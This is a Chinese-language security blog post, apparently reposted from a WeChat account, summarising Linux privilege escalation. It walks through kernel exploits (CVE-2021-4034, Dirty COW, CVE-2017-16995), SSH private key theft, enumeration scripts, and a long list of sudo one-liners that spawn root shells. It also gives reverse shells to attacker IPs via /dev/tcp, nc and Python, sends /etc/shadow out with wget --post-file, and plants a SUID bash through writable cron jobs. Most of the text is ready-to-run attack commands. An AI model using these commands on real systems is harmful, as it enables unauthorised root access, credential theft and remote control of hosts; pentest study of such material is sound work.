Linux提权小结

admin 2022年5月14日19:30:15评论98 views字数 4115阅读13分43秒阅读模式

前言

在学习linux提权之前我们需要思考几个问题,我们为什么要提权?以及我们提权对我们有什么帮助?我们为什么要提权?

不是所有的机器都需要提权的,当你需要某些权限来运行某些脚本或者收集某些信息的时候,这时候才需要提权。

信息收集:

查看发行版本

cat /etc/issue
cat /etc/*-release

查看内核版本,

uname -a



内核提权-CVE-2021-4034

pkexec 本地提权

Github地址:https://github.com/berdav/CVE-2021-4034

通杀乌班图和centos


Linux提权小结



脏牛内核提权-CVE-2016-5195


Linux内核的内存子系统在处理   写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!

脏牛系统提权范围:linux内核=>2.6.22

介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。

Github:https://github.com/FireFart/dirtycow

查看内核信息

Linux提权小结

上传exp进行编译,再运行即可获得root权限!

Linux提权小结

CVE-2017-16995 ubuntu内核漏洞


流程:
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
gcc 45010.c -o 45010   编译
chmod +x 45010         增加权限
./45010                         执行脚本
id


1、确认内核版本

Linux提权小结


2、上传Exploit到Ubuntu中


Linux提权小结

3、编译exp

Linux提权小结

4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。

Linux提权小结


kali辅助提权工具


Linux提权小结

找exp的路径

Linux提权小结 把它复制到当前目录下

Linux提权小结

确认目标有gcc,那么可以直接上传exp,在目标机器进行编译

Linux提权小结

也可以选择开一个http服务

攻击机:sudo python -m SimpleHTTPServer 80

受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c

受害机:对齐编译:gcc 37292.c -o exp

加权限,运行!




ssh密钥提权

描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。

拿到shell后,使用如下命令检查哪些用户是bash的:cat /etc/passwd | grep bash可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件


Linux提权小结

复制 id_rsa的内容到kali上面,设置权限:chmod 600 id_rsa然后尝试登录目标:ssh -i id_rsa web1@ip

Linux提权小结






LINENUM.SH(本地LINUX枚举和提权辅助脚本)

项目地址:https://github.com/rebootuser/LinEnum

脚本简介

LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 *.conf 和 *.log 文件,这些功能对于渗透测试人员来说,是非常有用的。

一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!

chmod +x /tmp/LinEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt

linux-exploit-suggester2.sh

项目地址:https://github.com/jondonas/linux-exploit-suggester-2

Linux提权小结

运行之后可以看到很多系统中存在可利用的提权漏洞




第三方服务提权

以下这些提权方式都是第权限用户拥有sudo权限的时候进行提权的!

并且还要知道当前用户的密码

可以利用sudo提权的命令如下

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp

git提权

Sudo git -p help

!/bin/bash

输入sudo密码(当前用户的密码)

Linux提权小结

在光标处进行输入!/bin/bash。回车

Linux提权小结

提权成功!

Linux提权小结

find 提权

普通用户find命令提权

先查看find命令有没有提权的可能

必要条件:find必须有s执行权限,有s表示可以提权

Linux提权小结


尝试执行whoami

Linux提权小结

尝试调出一个交互式的bin/sh并且是root权限

Linux提权小结

此shell 为不完整的shell, 升级交互式。

#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'  

[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤

[root@localhost ~]# reset



用find进行反弹shell

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 ;

利用find+nc反弹shell

find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh ;

find+python进行反弹shell

find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' ;


PIP提权

TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Linux提权小结



ed提权

Linux提权小结


wget提权

##kali上监听
nc -lvp 4444 > hash.txt

##靶机上
/usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444


攻击机:

Linux提权小结

受害机:

Linux提权小结

通过nc收到了http的文件内容保存到了test.txt中,可查看结果

Linux提权小结

apt提权

TF=$(mktemp) 
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl

Linux提权小结

Linux提权小结



ZIP提权

sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"

Linux提权小结


taskset提权

sudo taskset 1 /bin/sh -p

Linux提权小结





sed提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd

Linux提权小结


tmux提权

输入:sudo tmux

Linux提权小结



scp提权

TF=$(mktemp) 
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

Linux提权小结



perl提权

sudo perl -e 'exec "/bin/bash";'

Linux提权小结


bash提权

Linux提权小结


less提权

sudo less /etc/hosts
!bash

awk提权

sudo awk 'BEGIN {system("/bin/bash")}'

man提权

sudo man man
!bash

vi提权

sudo vi
:!bash

env提权

sudo env /bin/bash

ftp提权

sudo ftp
! /bin/bash


计划任务提权

对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!

列出系统中的一些计划任务:

ls -l /etc/cron* 

cat /etc/crontab

Linux提权小结


如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。

比如把shell复制到tmp目录下其次给权限

cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。

注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!要多多尝试

- END -

【往期推荐】

漏洞复现 | CVE-2022-24990信息泄露+RCE(POC已公开)

漏洞复现 | CVE-2022-0847内核提权漏洞(POC已公开)

漏洞监控平台——Monitor(源码在文末)

使用poste搭建自己的邮件服务器

实战 | 一次杀猪盘的拿shell经历

DC-1靶机实战和分析

实战|一个表白墙引发的“血案”


原文始发于微信公众号(小艾搞安全):Linux提权小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月14日19:30:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权小结https://cn-sec.com/archives/1007473.html

发表评论

匿名网友 填写信息